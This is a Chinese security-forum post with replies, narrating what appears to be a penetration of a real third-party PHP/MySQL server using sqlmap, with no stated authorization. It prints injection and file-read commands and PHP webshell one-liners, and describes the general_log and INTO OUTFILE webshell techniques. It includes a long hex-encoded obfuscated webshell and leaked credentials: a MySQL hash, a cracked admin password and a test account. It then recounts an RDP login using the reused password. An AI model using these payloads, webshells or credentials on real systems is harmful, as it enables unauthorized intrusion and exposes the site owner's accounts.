用户
搜索
  • TA的每日心情
    开心
    2018-7-30 13:40
  • 签到天数: 34 天

    连续签到: 1 天

    [LV.5]常住居民I

    i春秋-见习白帽

    Rank: 3Rank: 3

    54

    主题

    106

    帖子

    978

    魔法币
    收听
    0
    粉丝
    15
    注册时间
    2015-11-20
    发表于 2017-11-29 16:47:20 2049914
    使用sqlmap曲折渗透某服务器

    作者:Simeon

    在实际渗透测试过程中,当发现目标站点存在SQL注入漏洞,一般都是交给sqlmap等工具来自动处理,证明其存在SQL注入漏洞以及获取数据库;如果当前网站使用的数据库用户为root账号,则还可以尝试获取Webshell和提权。在一般情况下,如果发现是root账号,则90%以上机会可以获取webshell,且极有可能获得服务器权限。

    本次渗透过程碰到一种特殊情况:
    (1)Php网站存在SQL注入漏洞。
    (2)网站使用的用户是Root账号
    (3)知道web网站真实物理路径
    无法写入Webshell,无法直接udf提权!尝试了sqlmap有关MySQL数据库渗透的一些技术,虽然技术上未能获取webshell,但最后结合社工,成功获取了服务器权限,对特定服务器的渗透具有借鉴意义。

    1.1使用sqlmap渗透常规思路
    1.获取信息
    通过“sqlmap -u url”命令对注入点进行漏洞确认,然后依次进行以下命令,来获取数据库信息:
    1)列数据库信息:--dbs
    2web当前使用的数据库--current-db
    3web数据库使用账户 --current-user
    4)列出数据库所有用户 --users
    5)数据库账户与密码 --passwords
    6)指定库名列出所有表 -D databasename--tables
    7)指定库名表名列出所有字段-D antian365 -T admin --columns
    8)指定库名表名字段dump出指定字段
    -D secbang_com -T admin -C  id,password ,username --dump
    -D antian365 -T userb -C"email,Username,userpassword" --dump

    2.root权限的情况下可以系统访问权限尝试
        --os-cmd=OSCMD//执行操作系统命令
       --os-shell //反弹一个osshell
       --os-pwn //pwn,反弹msf下的shell或者vnc
       --os-smbrelay //反弹msf下的shell或者vnc
       --os-bof //存储过程缓存溢出
       --priv-esc //数据库提权

    3.通过查看管理员表,来获取管理员账号和密码,对加密账号还需要进行破解。

    4.寻找后台地址并登录。

    5.通过后台寻找上传漏洞,或者其它漏洞来尝试获取webshell权限。

    1.2使用sqlmap进行全自动获取
    再确认漏洞后,可以使用“sqlmap -uurl --smart --batch -a”自动进行注入,自动填写判断,获取数据库所有信息,包括dump所有数据库的内容。切记对大数据库尤其谨慎,不能用该命令,否则会获取大量数据记录,原因您懂的。在本例中测试了该方法,可以直接获取该SQL注入漏洞所在站点的所有数据库,获取数据不是本次讨论的主要目的。

    1.3直接提权失败
       根据前面的介绍,直接使用“--os-cmd=whoami”命令来尝试是否可以直接执行命令,如图1所示,执行命令后,需要选择网站脚本语言,本次测试是php,所以选择“4”,在选择路径中选择“2”,自定义路径,输入“D:/EmpireServer/web”后未能直接执行命令。
    image001.jpg
    1无法执行命令
       在尝试无法直接执行命令后,后面继续测试“--os-shell”也失败的情况下,尝试去分析sqlmap的源代码,尝试能否直接加入已经获取的网站路径地址,来获取权限。通过分析代码未能找到其相关配置文件,无奈之下继续进行后面的测试。

    1.4使用sqlmap获取sql-shell权限
    1.通过sqlmap对SQL注入点加参数“--sql-shell”命令来直接获取数据库shell:
    sqlmap.py -uhttp://**.**.**.***/newslist.php?id=2 --sql-shell
    执行后如图2所示,获取操作系统版本,web应用程序类型等信息:
    web server operating system: Windows //操作系统为windows
    web application technology: Apache 2.2.4, PHP 5.2.0//Apache服务器,php
    back-end DBMS: MySQL 5//MySQL数据库大于5.0版本
    image003.jpg
    2尝试获取sql-shell
    2.查询数据库密码
      sql-shell中执行数据库查询命令selecthost,user,password from mysql.user,尝试能否获取所有的数据库用户和密码,在获取信息过程需要选择获取多少信息,选择All则表示所有,其它数字则表示获取条数,一般输入“a”即可。如图3所示,成功获取当前数据库root账号和密码等信息。如果host值是“%”,则可以通过远程连接进行管理。

    sql-shell>select host,user,password from mysql.user
    [20:54:57][INFO] fetching SQL SELECT statement query output: 'select host,user,passwordfrom mysql.user'
    selecthost,user,password from mysql.user [2]:
    localhost, root, *4EEC9DAEA6909F53C5140C23D0F3A7618CAE1DF9
    127.0.0.1, root, *4EEC9DAEA6909F53C5140C23D0F3A7618CAE1DF9
    image005.jpg
    3查询mysql数据库用户信息
    3.尝试获取目录信息
       使用查询命令“select@@datadir”命令来获取数据库数据保存的位置,如图4所示,获取其数据库保存位置为“D:\EmpireServer\php\mysql5\Data\”,看到这个信息,使用百度对关键字“EmpireServer”进行搜索。获取一个EmpireServer的关键安装信息:
    1)将压缩的帝国软件放到D盘,解压到当前文件夹
    2)执行D:\EmpireServer一键安装命令
    3)在web文件夹里新建自己文件夹如zb,把web中所有目录考到zb
    4)删除/e/install/install.off文件!
    5)在浏览器中运行http://localhost/zb/e/install/重新安装
    6)数据库用户名root密码为空、其余用户名、密码为admin
    7)登陆前台首页http://localhost/zb,登陆后台http://localhost/zb/e/admin
    8)数据库所在路径D:\EmpireServer\php\mysql5\data
    9)保存网站:保存自己建立的文件夹目录,例如:D:\EmpireServer\web\zbzb目录和数据库目录,例如:D:\EmpireServer\php\mysql5\data\zbzb目录。
    image007.png
    4获取数据库数据保存目录
    4.读取文件
       通过上一步的分析,猜测网站可能使用web等关键字来做为网站目录使用,因此尝试使用:select load_file(‘D:/EmpireServer/web/index.php’)来读取index.php文件的内容,如图5所示,成功读取!在使用load_file函数进行读取文件时,一定要进行“D:\EmpireServer\web”符号的转换,也即将“\”换成“/”,否则无法读取,在读取文件中可以看到inc/getcon.phpinc/function.php等文件包含。
    image009.jpg
    5读取首页文件内容
    5)获取root账号密码
    执行查询命令select load_file(‘D:/EmpireServer/web/inc/getcon.php’),如图6所示,成功获取数据库配置文件getcon.php的内容,在其配置信息中包含了root账号和密码:
    root net***.com*** (
    image011.jpg
    6获取root账号及密码
    1.5尝试获取webshell以及提权
      1.尝试能否更改数据库内容,如图7所示执行更新MySQL命令:
    updatemysql.user set mysql.host='%'  where  mysql.user='127.0.0.1';
    image013.jpg
    7执行更新数据库表命令
    经过实际测试,通过sql-shell参数可以很方便的进行查询,执行update命令没有成功,后续还进行了一系列的update命令测试,结果没有成功就放弃直接更换host为“%”的思路。也曾经想直接添加一个账号和远程授权,通过sqlmap以及手工均未成功!
    CREATEUSER newuser@'%'  IDENTIFIED BY '123456';
    grantall privileges on *.* to newuser@'%' identified by  "123456" with grant option;
    FLUSHPRIVILEGES;
    2)尝试利用sqlmap--os-pwn命令
       使用“--os-shell”输入前面获取的真实物理路径“D:/EmpireServer/web”未能获取可以执行命令的shell,后续,执行“--os-pwn”则提示需要安装pywin32,如图8所示,在本地下载安装后,还是不成功。pywin32下载地址:
    https://sourceforge.net/projects/pywin32/files/pywin32/Build%20221/pywin32-221.win-amd64-py2.7.exe/download
    https://sourceforge.net/projects/pywin32/files/pywin32/Build%20221/
    image015.jpg
    8执行“--os-pwn”命令
    3)尝试利用sqlmapsql-query命令
    执行sqlmap.py -u http://**.**.**.***/newslist.php?id=2--sql-query=" select host ,user,password from mysql.user”其效果跟前面的sql-shell类似,执行update命令仍然不行。

    1.6尝试写入文件
    1.直接sql-query写入文件
      MySQL root账号提权条件:
    1)网站必须是root权限(已经满足)
    2)攻击者需要知道网站的绝对路径(已经满足)
    3GPCoffphp主动转义的功能关闭(已经满足)
    虽然条件满足,实际测试情况确实查询后无结果。

    2.general_log_file获取webshell测试
    1)查看genera文件配置情况
    showglobal variables like "%genera%";
    2)关闭general_log
    setglobal general_log=off;
    3)通过general_log选项来获取webshell
    setglobal general_log='on';
    SETglobal general_log_file='D:/EmpireServer/web/cmd.php';
    4)执行查询
    SELECT'<?php assert($_POST["cmd"]);?>';
      结果仍然未获取webshell

    3.更换路径
       怀疑是文件写入权限,后续访问网站获取某一个图片的地址后,更换地址后进行查询:
    select'<?php @eval($_POST[cmd]);?>' INTO OUTFILE 'D:/EmpireServer/web/uploadfile/image/20160407/23.php';
    访问webshell地址:
    http://**.**.**.***/uploadfile/image/20160407/23.php
      测试结果还是不行,如图9所示。
    image017.jpg
    9更换路径查询导出文件

    4.使用加密webshell写入
    执行加密webshell查询,查询成功,但访问实际页面不成功。
    select unhex('203C3F7068700D0A24784E203D2024784E2E737562737472282269796234327374725F72656C6750383034222C352C36293B0D0A246C766367203D207374725F73706C697428226D756B3961773238776C746371222C36293B0D0A24784E203D2024784E2E73756273747228226C396364706C616365704172424539646B222C342C35293B0D0A246A6C203D2073747269706F732822657078776B6C3766363674666B74222C226A6C22293B0D0A2474203D2024742E737562737472282274514756325957774A63567534222C312C36293B0D0A2465696137203D207472696D28226A386C32776D6C34367265656E22293B0D0A2462203D2024622E73756273747228226B6261736536346B424474394C366E6D222C312C36293B0D0A246967203D207472696D28226233397730676E756C6922293B0D0A2479203D2024792E24784E28227259222C22222C22637259726572596122293B0D0A24797531203D207374725F73706C697428226269316238376D3861306F3678222C32293B0D0A2474203D2024742E24784E282278413678222C22222C2277784136786F4A463922293B0D0A246E64203D2073747269706F7328226E363574383872786E303265646A336630222C226E6422293B0D0A2462203D2024622E24784E282277493339222C22222C225F774933396477493339656322293B0D0A2468387073203D207374725F73706C697428226B6E396A3968346D6877676633666A6970222C33293B0D0A2479203D2024792E7375627374722822687974655F66756E775669535645344A222C322C36293B0D0A24796637203D207374726C656E282275656875343967367467356B6F22293B0D0A2474203D2024742E24784E28226670222C22222C22516670546670314E667022293B0D0A246D39203D207374726C656E282265756C363034636F626B22293B0D0A2462203D2024622E73756273747228226C3057316F64656C413165536E454A222C342C33293B0D0A2468306277203D207472696D28226E33653568306371746F6B76676F6238747822293B0D0A2479203D2024792E24784E28227962222C22222C2263796274696F22293B0D0A24733761203D20727472696D2822617565627963396734743564386B22293B0D0A2474203D2024742E7375627374722822624D73306E4268383355577964222C392C34293B0D0A2464353971203D2073747269706F732822636A7675636B6F79357766336F746561222C226435397122293B0D0A2479203D2024792E73756273747228226E4439487851534C386E6752222C392C31293B0D0A246C31203D207374725F73706C697428226167717130396762716E31222C34293B0D0A2474203D2024742E24784E282277366F34222C22222C2277634477366F345977366F343022293B0D0A247079203D2073747269706F7328226C677938687472727631746333222C22707922293B0D0A2474203D2024742E24784E282265503332222C22222C22625846655033326822293B0D0A2478703364203D2073747269706F732822756B6C306E626E7839677433222C227870336422293B0D0A2474203D2024742E7375627374722822696B4A3030484A4D6E677863222C372C35293B0D0A2464743262203D207374726C656E282265346135616275616A7733766C6369726122293B0D0A2474203D2024742E737562737472282263644E314B78656D35334E776D456838364253222C372C34293B0D0A2475626A203D207374726C656E28227767686A6E6674326F70356B7831633038367422293B0D0A2474203D2024742E73756273747228226D34616F7864756A676E58536B63784C344657635964222C372C36293B0D0A247178203D207374726C656E2822726C71666B6B6674726F3867666B6F37796122293B0D0A2474203D2024742E7375627374722822723779222C312C31293B0D0A246D75203D20727472696D28226E676478777578357671653122293B0D0A246A203D2024792822222C20246228247429293B0D0A24626E6C70203D207374726C656E28227675667930616B316679617622293B0D0A24736468203D207374725F73706C69742822776D6E6A766733633770306D222C34293B0D0A246D62203D206C7472696D28226E353270317067616570656F6B6622293B0D0A2465307077203D20727472696D28227575346D686770356339706E613465677122293B0D0A24756768203D207472696D282272637064336F3977393974696F3922293B0D0A246772636B203D207374726C656E2822783572697835627031786B793722293B0D0A24656F3674203D207374726C656E282264646931683134656375797563376422293B246A28293B0D0A2464766E71203D207374725F73706C6974282270726D36676968613176726F333630346175222C38293B0D0A24756738203D20727472696D28226563387735327375706234767538656F22293B0D0A24726374203D2073747269706F73282268786536776F37657764386D65376474222C2272637422293B0D0A24656B7166203D207374725F73706C69742822707266357930386538666C6666773032356A38222C38293B0D0A24767972203D207374725F73706C69742822756D706A63737266673668356E64366F3435222C39293B0D0A24777266203D20727472696D282266797839396F3739333868377567716822293B0D0A24713134203D207374726C656E2822746334366F73786C3173743169633222293B0D0A66756E6374696F6E206F2820297B2020207D3B0D0A24757366203D207374726C656E2822666C7463707862377466626A736D7422293B0D0A3F3E')into dumpfile 'D:/EmpireServer/web/22.php'

    1.7社工账号登录服务器
    1.登录远程桌面   
       后面灵机一动,使用root获取的账号直接登录该3389,也即社工攻击,如图10所示成功登录服务器。
    image019.jpg
    10成功登录服务器
    2.发现后台地址ls1010_admin
      登录服务器后,发现网站不是采用模版安装的,而是在此基础上进行二次开发,且更换了后台管理地址为“ls1010_admin”。管理员密码:51623986534b8fd8bfd88cdb8b9e2181破解后密码为wanxin170104,使用该密码成功登录后台,如图11所示。在该后台中还发现一个用户名称bcitb,密码为bcitb1010
    技巧:分享一个免费的md5查询网站:https://www.somd5.com/
    image021.jpg
    11成功登录后台
    1.8总结与防御

    1.本次渗透测试使用了sqlmap中所有有关mysql渗透到模块,特别是系统访问层面的,例如--os-smbrelay,该模块在kali下使用,有时候可能会有奇效,如果存在漏洞将会直接反弹一个msfshell

    2.本次通过猜测后台基本上是无解的,可以看出网站应该是刻意更改网站后台地址,让攻击者无法轻易获取后台地址,但其后台中还存在开发人员留下的测试账号,可能导致系统安全隐患。

    3.网站在安全方面应该进行了一些简单加固,但SQL注入漏洞的存在使这些设置基本无用。


    本帖被以下淘专辑推荐:

    做攻防实战安全理论体系建设
    http://blog.51cto.com/simeon
    安天365技术交流2群: 647359714
    大佬 ,萌新请教个问题
    您的1.4使用sqlmap获取sql-shell权限中的第2小点已经获取到了数据库的账号密码,那为什么第5点 通过读取文件来获取数据库的root的账号密码,既然第2小点已经获取到了数据库的账号密码,为什么还要通过读取文件来获取数据库账号密码,这点没用懂,有可能我还没明白这二者的区别,麻烦指点
    使用道具 举报 回复
    发表于 2018-11-28 13:27:23
    地主家的乖儿子 发表于 2018-5-18 11:58
    大佬 ,萌新请教个问题
    您的1.4使用sqlmap获取sql-shell权限中的第2小点已经获取到了数据库的账号密码,那 ...

    第二点获取到的是mysql密码的hash值,还需要解密的,有可能解不开,但是通过load file读取文件,读出来的是明文密码,不需要解密了
    有一天他会突然觉得累了甚至忘了初衷 放弃了梦想也许因为年纪的关系奔波于现实 然后拉黑了网络认识的所有人或者说不用了一个号码换了一个QQ 那么记得他叫大叔 这个网络他曾来过
    使用道具 举报 回复
    你为谁蓄起长发 发表于 2017-12-1 11:47
    --sql-shell是基于注入点的拼接注入,一般是不能多语句/多行执行的(mssql可以),所以不能update和set等操 ...

    是不能够into_file的,会提示
    execution of non-query SQL statements is only available when stacked queries are
    错误
    使用道具 举报 回复
    --sql-shell是基于注入点的拼接注入,一般是不能多语句/多行执行的(mssql可以),所以不能update和set等操作
    能load_file读文件应该也能into outfile写文件,应该是可以写shell的,不知道你这为什么不行
    使用道具 举报 回复
    发表于 2018-9-25 18:41:11
    root帐号的密码并不是3389的登录密码
    获得root帐号以后,可以远程连接mysql,如果允许外链的话,知道网站物理路径,可通过创建表,然后into outfile 添加一句话木马,然后提权
    有一天他会突然觉得累了甚至忘了初衷 放弃了梦想也许因为年纪的关系奔波于现实 然后拉黑了网络认识的所有人或者说不用了一个号码换了一个QQ 那么记得他叫大叔 这个网络他曾来过
    使用道具 举报 回复
    一晓 发表于 2017-11-29 19:24
    还不错   这个应该是ROOT降权了的原因   


    root密码即为3389的administrator账号密码
    做攻防实战安全理论体系建设
    http://blog.51cto.com/simeon
    安天365技术交流2群: 647359714
    使用道具 举报 回复
    还不错   这个应该是ROOT降权了的原因   


    Root获取的什么账号登录3389啊?
    使用道具 举报 回复
    唉,要是我有大佬0.0000001的水平,就不会半天注入不了一个登录了。蓝瘦。。
    使用道具 举报 回复
    root密码即为3389的administrator账号密码
    做攻防实战安全理论体系建设
    http://blog.51cto.com/simeon
    安天365技术交流2群: 647359714
    使用道具 举报 回复
    对着大佬的攻略,我也重新去注入试试,感谢大佬的分享
    使用道具 举报 回复
    发表于 2017-12-1 09:52:24
    root密码为3389账号,他这是犯了多个账号使用相同密码的错误
    使用道具 举报 回复
    发表于 2017-12-1 09:52:53
    也是社工的一种,这种真是人品大爆发才能遇到的
    使用道具 举报 回复
    我的回复呢?
    使用道具 举报 回复
    发表于 2017-12-1 19:20:48
    思路可以,我是小白,支持支持
    使用道具 举报 回复
    发表于 2017-12-2 14:48:17
    学到了感谢
    使用道具 举报 回复
    实际情况试过了。确实不行。
    做攻防实战安全理论体系建设
    http://blog.51cto.com/simeon
    安天365技术交流2群: 647359714
    使用道具 举报 回复
    发表于 2017-12-4 16:07:45
    第四张图漏点了
    使用道具 举报 回复
    发表于 2017-12-14 14:07:34
    老铁 确实很曲折 用数据库密码登陆3389 很灵性 膜拜
    使用道具 举报 回复
    12下一页
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册